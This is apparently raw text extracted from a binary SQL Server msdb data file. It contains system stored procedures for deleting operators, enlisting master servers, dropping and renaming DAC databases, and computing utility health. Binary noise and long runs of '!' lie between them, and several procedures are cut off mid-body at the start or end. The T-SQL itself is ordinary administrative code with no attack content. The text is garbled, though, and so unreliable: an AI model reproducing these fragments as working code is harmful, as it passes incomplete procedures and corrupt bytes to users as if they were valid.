    RETURN (@@ERROR)
END
0&4 D82h0&1      SELECT @end_time = GETDATE()
   END

    -- Raise an error if the @task_detail_id doesn't exist
    IF( NOT EXISTS(SELECT * FROM sysmaintplan_log WHERE (task_detail_id = @task_detail_id)))
   BEGIN
        DECLARE @task_detail_id_as_char VARCHAR(36)
        SELECT @task_detail_id_as_char = CONVERT(VARCHAR(36), @task_detail_id)
        RAISERROR(14262, -1, -1, '@task_detail_id', @task_detail_id_as_char)
      RETURN(1)
   END

   UPDATE msdb.dbo.sysmaintplan_log 
    SET end_time = @end_time, succeeded = @succeeded 
    WHERE (task_detail_id = @task_detail_id)

    RETURN (@@ERROR)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!3wyT5jD1D	`<gFvo0k t8CREATE PROCEDURE sp_delete_operator
  @name                 sysname,
  @reassign_to_operator sysname = NULL
AS
BEGIN
  DECLARE @id                         INT
  DECLARE @alert_fail_safe_operator   sysname
  DECLARE @job_id                     UNIQUEIDENTIFIER
  DECLARE @job_id_as_char             VARCHAR(36)
  DECLARE @notify_email_operator_id   INT
  DECLARE @notify_netsend_operator_id INT
  DECLARE @notify_page_operator_id    INT
  DECLARE @reassign_to_id             INT
  DECLARE @cmd                        NVARCHAR(1000)
  DECLARE @current_msx_server         sysname
  DECLARE @reassign_to_escaped        NVARCHAR(256)

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @name                 = LTRIM(RTRIM(@name))
  SELECT @reassign_to_operator = LTRIM(RTRIM(@reassign_to_operator))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@reassign_to_operator = N'') SELECT @reassign_to_operator = NULL

  -- Only a sysadmin can do this
  IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1))
  BEGIN
    RAISERROR(15003, 16, 1, N'sysadmin')
    RETURN(1) -- Failure
  END

  -- Check if this Operator exists
  IF (NOT EXISTS (SELECT *
                  FROM msdb.dbo.sysoperators
                  WHERE (name = @name)))
  BEGIN
    RAISERROR(14262, 16, 1, '@name', @name)
    RETURN(1) -- Failure
  END

  -- Check if this operator the FailSafe Operator
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'AlertFailSafeOperator',
                                         @alert_fail_safe_operator OUTPUT,
                                         N'no_output'

  -- If it is, we disallow the delete operation
  IF (LTRIM(RTRIM(@alert_fail_safe_operator)) = @name)
  BEGIN
    RAISERROR(14504, 16, 1, @name, @name)
    RETURN(1) -- Failure
  END

  -- Check if this operator is 'MSXOperator'
  IF (@name = N'MSXOperator')
  BEGIN
    DECLARE @server_type VARCHAR(3)

    -- Disallow the delete operation if we're an MSX or a TSX
    EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                           N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                           N'MSXServerName',
                                           @current_msx_server OUTPUT,
                                           N'no_output'
    IF (@current_msx_server IS NOT NULL)
      SELECT @server_type = 'TSX'

    IF ((SELECT COUNT(*)
         FROM msdb.dbo.systargetservers) > 0)
      SELECT @server_type = 'MSX'

    IF (@server_type IS NOT NULL)
    BEGIN
      RAISERROR(14223, 16, 1, 'MSXOperator', @server_type)
      RETURN(1) -- Failure
    END
  END

  -- Convert the Name to it's ID
  SELECT @id = id
  FROM msdb.dbo.sysoperators
  WHERE (name = @name)

  IF (@reassign_to_operator IS NOT NULL)
  BEGIN
    -- On a TSX or standalone server, disallow re-assigning to the MSXOperator
    IF (@reassign_to_operator = N'MSXOperator') AND
       (NOT EXISTS (SELECT *
                    FROM msdb.dbo.systargetservers))
    BEGIN
      RAISERROR(14251, -1, -1, @reassign_to_operator)
      RETURN(1) -- Failure
    END

    SELECT @reassign_to_id = id
    FROM msdb.dbo.sysoperators
    WHERE (name = @reassign_to_operator)

    IF (@reassign_to_id IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@reassign_to_operator', @reassign_to_operator)
      RETURN(1) -- Failure
    END
  END

  -- Double up any single quotes in @reassign_to_operator
  IF (@reassign_to_operator IS NOT NULL)
    SET @reassign_to_escaped  = REPLACE(@reassign_to_operator, N'''', N'''''')

  BEGIN TRANSACTION

    -- Reassign (or delete) any sysnotifications rows that reference this operator
    IF (@reassign_to_operator IS NOT NULL)
    BEGIN
      UPDATE msdb.dbo.sysnotifications
      SET operator_id = @reassign_to_id
      WHERE (operator_id = @id)
        AND (NOT EXISTS (SELECT *
                         FROM msdb.dbo.sysnotifications sn2
                         WHERE (sn2.alert_id = msdb.dbo.sysnotifications.alert_id)
                           AND (sn2.operator_id = @reassign_to_id)))
    END

    DELETE FROM msdb.dbo.sysnotifications
    WHERE (operator_id = @id)

    -- Update any jobs that reference this operator
    DECLARE jobs_referencing_this_operator CURSOR LOCAL
    FOR
    SELECT job_id,
           notify_email_operator_id,
           notify_netsend_operator_id,
           notify_page_operator_id
    FROM msdb.dbo.sysjobs
    WHERE (notify_email_operator_id = @id)
       OR (notify_netsend_operator_id = @id)
       OR (notify_page_operator_id = @id)

    OPEN jobs_referencing_this_operator
    FETCH NEXT FROM jobs_referencing_this_operator INTO @job_id,
                                                        @notify_email_operator_id,
                                                        @notify_netsend_operator_id,
                                                        @notify_page_operator_id
    WHILE (@@fetch_status = 0)
    BEGIN
      SELECT @job_id_as_char = CONVERT(VARCHAR(36), @job_id)
      SELECT @cmd = N'msdb.dbo.sp_update_job @job_id = ''' + @job_id_as_char + N''', '

      IF (@notify_email_operator_id = @id)
        IF (@reassign_to_operator IS NOT NULL)
          SELECT @cmd = @cmd + N'@notify_email_operator_name = N''' + @reassign_to_escaped  + N''', '
        ELSE
          SELECT @cmd = @cmd + N'@notify_email_operator_name = N'''', @notify_level_email = 0, '

      IF (@notify_netsend_operator_id = @id)
        IF (@reassign_to_operator IS NOT NULL)
          SELECT @cmd = @cmd + N'@notify_netsend_operator_name = N''' + @reassign_to_escaped  + N''', '
        ELSE
          SELECT @cmd = @cmd + N'@notify_netsend_operator_name = N'''', @notify_level_netsend = 0, '

      IF (@notify_page_operator_id = @id)
        IF (@reassign_to_operator IS NOT NULL)
          SELECT @cmd = @cmd + N'@notify_page_operator_name = N''' + @reassign_to_escaped  + N''', '
        ELSE
          SELECT @cmd = @cmd + N'@notify_page_operator_name = N'''', @notify_level_page = 0, '

      SELECT @cmd = SUBSTRING(@cmd, 1, (DATALENGTH(@cmd) / 2) - 2)
      EXECUTE (N'EXECUTE ' + @cmd)

      FETCH NEXT FROM jobs_referencing_this_operator INTO @job_id,
                                                          @notify_email_operator_id,
                                                          @notify_netsend_operator_id,
                                                          @notify_page_operator_id
    END
    DEALLOCATE jobs_referencing_this_operator

    -- Finally, do the actual DELETE
    DELETE FROM msdb.dbo.sysoperators
    WHERE (id = @id)

  COMMIT TRANSACTION

  RETURN(@@error) -- 0 means success
END
0 8CREATE PROCEDURE [dbo].[sp_syspolicy_verify_object_set_references]
@object_set_id int,
@is_referenced int OUTPUT
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

	SELECT @is_referenced = count(*) FROM dbo.syspolicy_policies WHERE object_set_id = @object_set_id
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`i<)
NP0, &8(NULL)0)#= 8
CREATE PROCEDURE dbo.sp_sysutility_ucp_calculate_mi_file_space_health 
    @new_set_number INT
WITH EXECUTE AS OWNER
AS
BEGIN
    DECLARE @under_utilize_type INT = 1
    DECLARE @over_utilize_type INT = 2;


    -- space_resource_type = 1
    -- datafile_target_type = 2
    -- logfile_target_type = 3

    INSERT INTO msdb.dbo.sysutility_ucp_mi_file_space_health_internal(
           server_instance_name
           , database_name
           , fg_name
           , set_number
           , processing_time
           , over_utilized_count
           , under_utilized_count
           , file_type)                         
      -- Insert the server filegroup utilization details
      SELECT fg.server_instance_name
             , fg.database_name
             , fg.Name AS file_group_name
             , @new_set_number
             , fg.processing_time
             , SUM(CASE WHEN df.policy_id IS NOT NULL AND ip.utilization_type = 2 THEN 1 ELSE 0 END) AS over_utilized_count
             , SUM(CASE WHEN df.policy_id IS NOT NULL AND ip.utilization_type = 1 THEN 1 ELSE 0 END) AS under_utilized_count
             , fg.file_type
      FROM (SELECT 1 AS file_type, fg.server_instance_name, fg.database_name, fg.Name, fg.processing_time
            FROM msdb.dbo.sysutility_ucp_filegroups AS fg  
            UNION ALL
            SELECT 2 AS file_type, db.server_instance_name, db.Name AS database_name, N'' AS Name, db.processing_time
            FROM msdb.dbo.sysutility_ucp_databases AS db) AS fg
        INNER JOIN msdb.dbo.sysutility_ucp_instance_policies AS ip ON fg.server_instance_name = ip.server_instance_name
        LEFT JOIN msdb.dbo.sysutility_ucp_filegroups_with_policy_violations_internal AS df 
            ON fg.server_instance_name = df.server_instance_name AND 
               fg.database_name = df.database_name AND
               fg.Name = df.[filegroup_name] AND 
               df.set_number = @new_set_number AND
               ip.policy_id = df.policy_id
    WHERE ip.resource_type = 1
        AND ip.target_type = file_type + 1 -- target_type = 2 (datafile), 3 (logfile)
    GROUP BY fg.server_instance_name, fg.database_name, fg.Name, fg.file_type, fg.processing_time        
   
    -- Compute the database health state for the MI's based on the file-space computation.
    
     -- Insert the server database utilization details
    INSERT INTO msdb.dbo.sysutility_ucp_mi_database_health_internal(server_instance_name, database_name, set_number, processing_time
           , over_utilized_count
           , under_utilized_count)
    SELECT fs.server_instance_name
        , fs.database_name AS database_name
        , @new_set_number
        , svr.processing_time
        , SUM(fs.over_utilized_count) AS over_utilized_count
        , SUM(fs.under_utilized_count) AS under_utilized_count
    FROM  msdb.dbo.sysutility_ucp_mi_file_space_health_internal AS fs
        , msdb.dbo.sysutility_ucp_instances AS svr
    WHERE svr.Name = fs.server_instance_name AND
          fs.set_number = @new_set_number        
    GROUP BY fs.server_instance_name, fs.database_name, svr.processing_time        
    
END
IN --Update the table

      DECLARE @s_subplan_name sysname
      DECLARE @s_job_id UNIQUEIDENTIFIER

      SELECT @s_subplan_name         = subplan_name,
            @s_job_id               = job_id
      FROM msdb.dbo.sysmaintplan_subplans
      WHERE (@subplan_id = subplan_id)

      --Determine if user wants to change these variables
      IF (@name IS NOT NULL)          SELECT @s_subplan_name          = @name
      IF (@job_id IS NOT NULL)        SELECT @s_job_id                = @job_id

      --UPDATE the record

      UPDATE msdb.dbo.sysmaintplan_subplans 
        SET subplan_name        = @s_subplan_name,
            subplan_description = @description,
            job_id              = @s_job_id,
            schedule_id         = @schedule_id,
            msx_job_id          = @msx_job_id
      WHERE (subplan_id = @subplan_id)

   END

    RETURN (@@ERROR)
END
0UF 8CREATE PROCEDURE sp_maintplan_delete_plan
    @plan_id   UNIQUEIDENTIFIER
AS
BEGIN
   SET NOCOUNT ON

   DECLARE @sp_id UNIQUEIDENTIFIER
    DECLARE @retval     INT

    SET @retval = 0

   --Loop through Subplans
   DECLARE sp CURSOR LOCAL FOR 
        SELECT subplan_id 
        FROM msdb.dbo.sysmaintplan_subplans 
        WHERE plan_id = @plan_id FOR READ ONLY

   OPEN sp
   FETCH NEXT FROM sp INTO @sp_id
   WHILE @@FETCH_STATUS = 0
   BEGIN 
     EXECUTE @retval = sp_maintplan_delete_subplan @subplan_id = @sp_id
      IF(@retval <> 0)
        BREAK

     FETCH NEXT FROM sp INTO @sp_id
   END
   CLOSE sp
   DEALLOCATE sp

    RETURN (@retval)
END
0}7 8CREATE PROCEDURE [dbo].[sp_sysdac_drop_database]  
        @database_name sysname
AS  
SET NOCOUNT ON;
BEGIN  
    IF EXISTS(SELECT name FROM sys.databases WHERE name = @database_name)
    BEGIN
        DECLARE @engineEdition int = CAST(SERVERPROPERTY('EngineEdition') AS int);
        
        DECLARE @quoteddbname nvarchar(258)
        SET @quoteddbname = QUOTENAME(@database_name)
        
        DECLARE @sqlstatement nvarchar(1000)
        
        IF (@engineEdition != 5)
        BEGIN
            SET @sqlstatement = 'ALTER DATABASE ' + @quoteddbname + ' SET SINGLE_USER WITH ROLLBACK IMMEDIATE'
            EXEC (@sqlstatement)
        END 
        
        SET @sqlstatement = 'DROP DATABASE ' + @quoteddbname
        
        IF (@engineEdition = 5)
        BEGIN
			DECLARE @dbname SYSNAME 
			SET @dbname = db_name()
			
            RAISERROR (36012, 0, 1, @dbname, @sqlstatement);
            SELECT @dbname as databasename, @sqlstatement as sqlscript
        END
        ELSE
        BEGIN
            EXEC (@sqlstatement)
        END    
    END
    
    RETURN(@@error)
END
0[ 8CREATE PROCEDURE [dbo].[sp_sysdac_rename_database]  
        @database_name sysname,
        @new_name sysname
AS  
SET NOCOUNT ON;
BEGIN  
    DECLARE @sqlstatement nvarchar(1000)

    -- Alter the database to single user mode    
    DECLARE @quoted_database_name nvarchar(258)
    SET @quoted_database_name = QUOTENAME(@database_name)
    SET @sqlstatement = 'ALTER DATABASE ' + @quoted_database_name + ' SET SINGLE_USER WITH ROLLBACK IMMEDIATE'
    EXEC (@sqlstatement)

    -- Rename the database
    EXEC sp_rename @objname=@quoted_database_name, @newname=@new_name, @objtype='DATABASE'

    -- Revert the database back to multi user mode
    DECLARE @quoted_new_name nvarchar(258)
    SET @quoted_new_name = QUOTENAME(@new_name)
    SET @sqlstatement = 'ALTER DATABASE ' + @quoted_new_name + ' SET MULTI_USER WITH ROLLBACK IMMEDIATE'
    EXEC (@sqlstatement)
            
    RETURN(@@error)
END

   name, 
   enabled, 
   email_address, 
   pager_address, 
   netsend_address, 
   weekday_pager_start_time, 
   weekday_pager_end_time, 
   saturday_pager_start_time, 
   saturday_pager_end_time, 
   sunday_pager_start_time, 
   sunday_pager_end_time, 
   pager_days 
   FROM 
   msdb.dbo.sysoperators WHERE (name = N'MSXOperator')
   end
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!h+-9]jD`h<;NGd)0! 8CREATE PROCEDURE sp_msx_enlist
  @msx_server_name sysname,
  @location        NVARCHAR(100) = NULL -- The procedure will supply a default
AS
BEGIN
  DECLARE @current_msx_server       sysname
  DECLARE @local_machine_name       sysname
  DECLARE @msx_originating_server   sysname
  DECLARE @retval                   INT
  DECLARE @time_zone_adjustment     INT
  DECLARE @local_time               NVARCHAR(100)
  DECLARE @nt_user                  NVARCHAR(100)
  DECLARE @poll_interval            INT

  SET NOCOUNT ON

  -- Only a sysadmin can do this
  IF (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1) 
  BEGIN
    RAISERROR(15003, 16, 1, N'sysadmin')
    RETURN(1) -- Failure
  END

  -- Only an NT server can be enlisted
  IF ((PLATFORM() & 0x1) <> 0x1) -- NT
  BEGIN
    RAISERROR(14540, -1, 1)
    RETURN(1) -- Failure
  END

  -- Only SBS, Standard, or Enterprise editions of SQL Server can be enlisted
  IF ((PLATFORM() & 0x100) = 0x100) -- Desktop package
  BEGIN
    RAISERROR(14539, -1, -1)
    RETURN(1) -- Failure
  END

  -- Remove any leading/trailing spaces from parameters
  SELECT @msx_server_name  = UPPER(LTRIM(RTRIM(@msx_server_name)))
  SELECT @location         = LTRIM(RTRIM(@location))
  SELECT @local_machine_name = UPPER(CONVERT(NVARCHAR(30), SERVERPROPERTY('ServerName')))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@location = N'') SELECT @location = NULL

  SELECT @retval = 0

  -- Get the values that we'll need for the [re]enlistment operation (except the local time
  -- which we get right before we call xp_msx_enlist to that it's as accurate as possible)
  SELECT @nt_user = ISNULL(NT_CLIENT(), ISNULL(SUSER_SNAME(), FORMATMESSAGE(14205)))
  EXECUTE master.dbo.xp_regread N'HKEY_LOCAL_MACHINE',
                                N'SYSTEM\CurrentControlSet\Control\TimeZoneInformation',
                                N'Bias',
                                @time_zone_adjustment OUTPUT,
                                N'no_output'
  IF ((PLATFORM() & 0x1) = 0x1) -- NT
    SELECT @time_zone_adjustment = -ISNULL(@time_zone_adjustment, 0)
  ELSE
    SELECT @time_zone_adjustment = -CONVERT(INT, CONVERT(BINARY(2), ISNULL(@time_zone_adjustment, 0)))

  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'MSXPollInterval',
                                         @poll_interval OUTPUT,
                                         N'no_output'
  SELECT @poll_interval = ISNULL(@poll_interval, 60) -- This should be the same as DEF_REG_MSX_POLL_INTERVAL
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'MSXServerName',
                                         @current_msx_server OUTPUT,
                                         N'no_output'
  SELECT @current_msx_server = LTRIM(RTRIM(@current_msx_server))

  -- Check if this machine is an MSX (and therefore cannot be enlisted into another MSX)
  IF (EXISTS (SELECT *
              FROM msdb.dbo.systargetservers))
  BEGIN
   --Get local server/instance name  
    RAISERROR(14299, -1, -1, @local_machine_name)
    RETURN(1) -- Failure
  END

  -- Check if the MSX supplied is the same as the local machine (this is not allowed)
  IF (UPPER(@local_machine_name) = @msx_server_name)
  BEGIN
    RAISERROR(14297, -1, -1)
    RETURN(1) -- Failure
  END

  -- Check if MSDB has be re-installed since we enlisted
  IF (@current_msx_server IS NOT NULL) AND
     (NOT EXISTS (SELECT *
                  FROM msdb.dbo.sqlagent_info
                  WHERE (attribute = 'DateEnlisted')))
  BEGIN
    -- User is tring to [re]enlist after a re-install, so we have to forcefully defect before
    -- we can fully enlist again
    EXECUTE msdb.dbo.sp_msx_defect @forced_defection = 1
    SELECT @current_msx_server = NULL
  END

  -- Check if we are already enlisted, in which case we re-enlist
  IF ((@current_msx_server IS NOT NULL) AND (@current_msx_server <> N''))
  BEGIN
    IF (UPPER(@current_msx_server) = @msx_server_name)
    BEGIN
      -- Update the [existing] enlistment
      SELECT @local_time = CONVERT(NVARCHAR, GETDATE(), 112) + N' ' + CONVERT(NVARCHAR, GETDATE(), 108)
      EXECUTE @retval = master.dbo.xp_msx_enlist 2, @msx_server_name, @nt_user, @location, @time_zone_adjustment, @local_time, @poll_interval
      RETURN(@retval) -- 0 means success
    END
    ELSE
    BEGIN
      RAISERROR(14296, -1, -1, @current_msx_server)
      RETURN(1) -- Failure
    END
  END

  -- If we get this far then we're dealing with a new enlistment...
  

  -- If no location is supplied, generate one (such as we can)
  IF (@location IS NULL)
    EXECUTE msdb.dbo.sp_generate_server_description @location OUTPUT

  SELECT @local_time = CONVERT(NVARCHAR, GETDATE(), 112) + ' ' + CONVERT(NVARCHAR, GETDATE(), 108)
  EXECUTE @retval = master.dbo.xp_msx_enlist 0, @msx_server_name, @nt_user, @location, @time_zone_adjustment, @local_time, @poll_interval

  IF (@retval = 0)
  BEGIN
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'MSXServerName',
                                            N'REG_SZ',
                                            @msx_server_name

    IF (@current_msx_server IS NOT NULL)
      RAISERROR(14228, 0, 1, @current_msx_server, @msx_server_name)
    ELSE
      RAISERROR(14229, 0, 1, @msx_server_name)

    -- Update the sysoriginatingservers table with the msx server name. May need to clean up if it already has an msx entry
    SELECT @msx_originating_server = NULL
    -- Get the msx server name 
    SELECT @msx_originating_server = originating_server 
    FROM msdb.dbo.sysoriginatingservers
    WHERE (master_server = 1)
    
    IF(@msx_originating_server IS NULL)
    BEGIN
        -- Good. No msx server found so just add the new one
        INSERT INTO msdb.dbo.sysoriginatingservers(originating_server, master_server) VALUES (@msx_server_name, 1)
    END
    ELSE
    BEGIN
        -- Found a previous entry. If it isn't the same server we need to clean up any existing msx jobs
        IF(@msx_originating_server != @msx_server_name) 
        BEGIN
            INSERT INTO msdb.dbo.sysoriginatingservers(originating_server, master_server) VALUES (@msx_server_name, 1)
            -- Optimistically try and remove any msx jobs left over from the previous msx enlistment. 
            EXECUTE msdb.dbo.sp_delete_all_msx_jobs @msx_originating_server 
            -- And finally delete the old msx server record
            DELETE msdb.dbo.sysoriginatingservers 
            WHERE (originating_server = @msx_originating_server)
              AND (master_server = 1)
        END
    END

    -- Add entry to sqlagent_info
    INSERT INTO msdb.dbo.sqlagent_info (attribute, value) VALUES ('DateEnlisted', CONVERT(VARCHAR(10), GETDATE(), 112))
  END

  RETURN(@retval) -- 0 means success
END
0n 8CREATE PROCEDURE [dbo].[sp_syspolicy_delete_object_set]
@object_set_name sysname = NULL,
@object_set_id int = NULL
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

	DECLARE @retval              INT

    EXEC @retval = sp_syspolicy_verify_object_set_identifiers @object_set_name, @object_set_id OUTPUT
    IF (@retval <> 0)
        RETURN (1)

    DELETE msdb.[dbo].[syspolicy_object_sets_internal] 
        WHERE object_set_id = @object_set_id

    RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0`l<	)NE{0yt &8(NULL)0k% 8
CREATE PROCEDURE dbo.sp_sysutility_ucp_calculate_dac_health 
   @new_set_number INT
WITH EXECUTE AS OWNER
AS
BEGIN

    -- Compute dac filegroup/log files health state
    EXEC msdb.dbo.sp_sysutility_ucp_calculate_dac_file_space_health @new_set_number;

    -- Compute dac health state
	
    -- Insert new records
    SELECT dd.dac_server_instance_name
        , dd.dac_name
        , SUM(CASE WHEN hs.health_state = 2 THEN 1 ELSE 0 END) AS under_utilized_count
        , SUM(CASE WHEN hs.health_state = 3 THEN 1 ELSE 0 END) AS over_utilized_count
    INTO #dac_volume_file_space_utilization 
    FROM msdb.dbo.sysutility_ucp_deployed_dacs AS dd
    INNER JOIN msdb.dbo.sysutility_ucp_mi_volume_space_health_internal AS hs 
        ON hs.server_instance_name = dd.dac_server_instance_name
    INNER JOIN (
        SELECT server_instance_name, database_name, volume_device_id FROM sysutility_ucp_datafiles 
        UNION ALL
        SELECT server_instance_name, database_name, volume_device_id FROM sysutility_ucp_logfiles
    ) AS df 
        ON df.volume_device_id = hs.volume_device_id
        AND dd.dac_server_instance_name = df.server_instance_name 
        AND dd.dac_name = df.database_name
    WHERE hs.set_number = @new_set_number 
    GROUP BY dd.dac_server_instance_name, dd.dac_name;
			  
    SELECT dd.dac_server_instance_name
        , dd.dac_name
        , SUM(CASE WHEN hs.health_state = 2 THEN 1 ELSE 0 END) AS under_utilized_count
        , SUM(CASE WHEN hs.health_state = 3 THEN 1 ELSE 0 END) AS over_utilized_count
    INTO #dac_computer_cpu_utilization 
    FROM msdb.dbo.sysutility_ucp_computer_cpu_health_internal AS hs
    INNER JOIN msdb.dbo.sysutility_ucp_deployed_dacs AS dd 
        ON hs.physical_server_name = dd.dac_physical_server_name
    WHERE hs.set_number = @new_set_number 
    GROUP BY dd.dac_server_instance_name, dd.dac_name;
    
    SELECT hs.dac_server_instance_name
        , hs.dac_name
        , SUM(CASE WHEN health_state.val = 2 THEN 1 ELSE 0 END) AS under_utilized_count
        , SUM(CASE WHEN health_state.val = 3 THEN 1 ELSE 0 END) AS over_utilized_count
    INTO #dac_file_space_utilization 
    FROM msdb.dbo.sysutility_ucp_dac_file_space_health_internal hs
    CROSS APPLY dbo.fn_sysutility_ucp_get_aggregated_health(hs.over_utilized_count, hs.under_utilized_count) health_state
    WHERE hs.set_number = @new_set_number 
    GROUP BY hs.dac_server_instance_name, hs.dac_name;

    -- Cache view data into temp table
    SELECT * 
    INTO #dac_policies
    FROM dbo.sysutility_ucp_dac_policies  
    
    -- Get the database cpu utilization based on processor violating the health policy 
    -- Mark the database as unhealthy if processor violate the policy    
    SELECT dp.dac_name
        , dp.dac_server_instance_name
        , SUM(CASE WHEN dp.utilization_type = 1 THEN 1 ELSE 0 END) AS under_utilized_count
        , SUM(CASE WHEN dp.utilization_type = 2 THEN 1 ELSE 0 END) AS over_utilized_count
    INTO #dac_cpu_utilizations       
    FROM #dac_policies AS dp
    INNER JOIN dbo.sysutility_ucp_policy_violations pv
        ON dp.policy_id = pv.policy_id AND dp.powershell_path = pv.target_query_expression
    WHERE dp.resource_type = 3      -- processor_resource_type
        AND dp.target_type = 5      -- database_target_type
    GROUP BY dp.dac_name, dp.dac_server_instance_name    
    INSERT INTO msdb.dbo.sysutility_ucp_dac_health_internal(dac_name, dac_server_instance_name, set_number
	       , processing_time
	       , is_volume_space_over_utilized
	       , is_volume_space_under_utilized
	       , is_computer_processor_over_utilized
	       , is_computer_processor_under_utilized
	       , is_file_space_over_utilized
	       , is_file_space_under_utilized
	       , is_dac_processor_over_utilized
	       , is_dac_processor_under_utilized
	       , is_policy_overridden)
    SELECT dd.dac_name
        , dd.dac_server_instance_name
        , @new_set_number
	    , dd.dac_processing_time
	    , vu.over_utilized_count AS dac_volume_space_over_utilized_count
	    , vu.under_utilized_count AS dac_volume_space_under_utilized_count
	    , cu.over_utilized_count AS dac_computer_cpu_over_utilized_count
	    , cu.under_utilized_count AS dac_computer_cpu_under_utilized_count 
        , su.over_utilized_count AS dac_file_space_over_utilized_count
        , su.under_utilized_count AS dac_file_space_under_utilized_count
	    , ISNULL(du.over_utilized_count ,0) AS dac_cpu_over_utilized_count
	    , ISNULL(du.under_utilized_count ,0) AS dac_cpu_under_utilized_count
	    , pt.is_policy_overridden
    FROM msdb.dbo.sysutility_ucp_deployed_dacs dd
    LEFT JOIN #dac_cpu_utilizations du 
        ON dd.dac_name = du.dac_name AND dd.dac_server_instance_name = du.dac_server_instance_name
    INNER JOIN #dac_volume_file_space_utilization AS vu 
        ON dd.dac_name = vu.dac_name AND dd.dac_server_instance_name = vu.dac_server_instance_name            
    INNER JOIN #dac_computer_cpu_utilization AS cu 
        ON dd.dac_name = cu.dac_name AND dd.dac_server_instance_name = cu.dac_server_instance_name
    INNER JOIN #dac_file_space_utilization AS su 
        ON dd.dac_name = su.dac_name AND dd.dac_server_instance_name = su.dac_server_instance_name
    INNER JOIN msdb.dbo.sysutility_ucp_dac_policy_type pt
        ON dd.dac_name = pt.dac_name AND dd.dac_server_instance_name = pt.dac_server_instance_name;

END
ND
                           dac_object_name_pretran  = @dac_object_name_pretran AND
                           dac_object_name_posttran = @dac_object_name_posttran)

    IF ((@username != [dbo].[fn_sysdac_get_currentusername]()) AND ([dbo].[fn_sysdac_is_currentuser_sa]() != 1))
    BEGIN
        RAISERROR(36011, -1, -1);
        RETURN(1); -- failure
    END

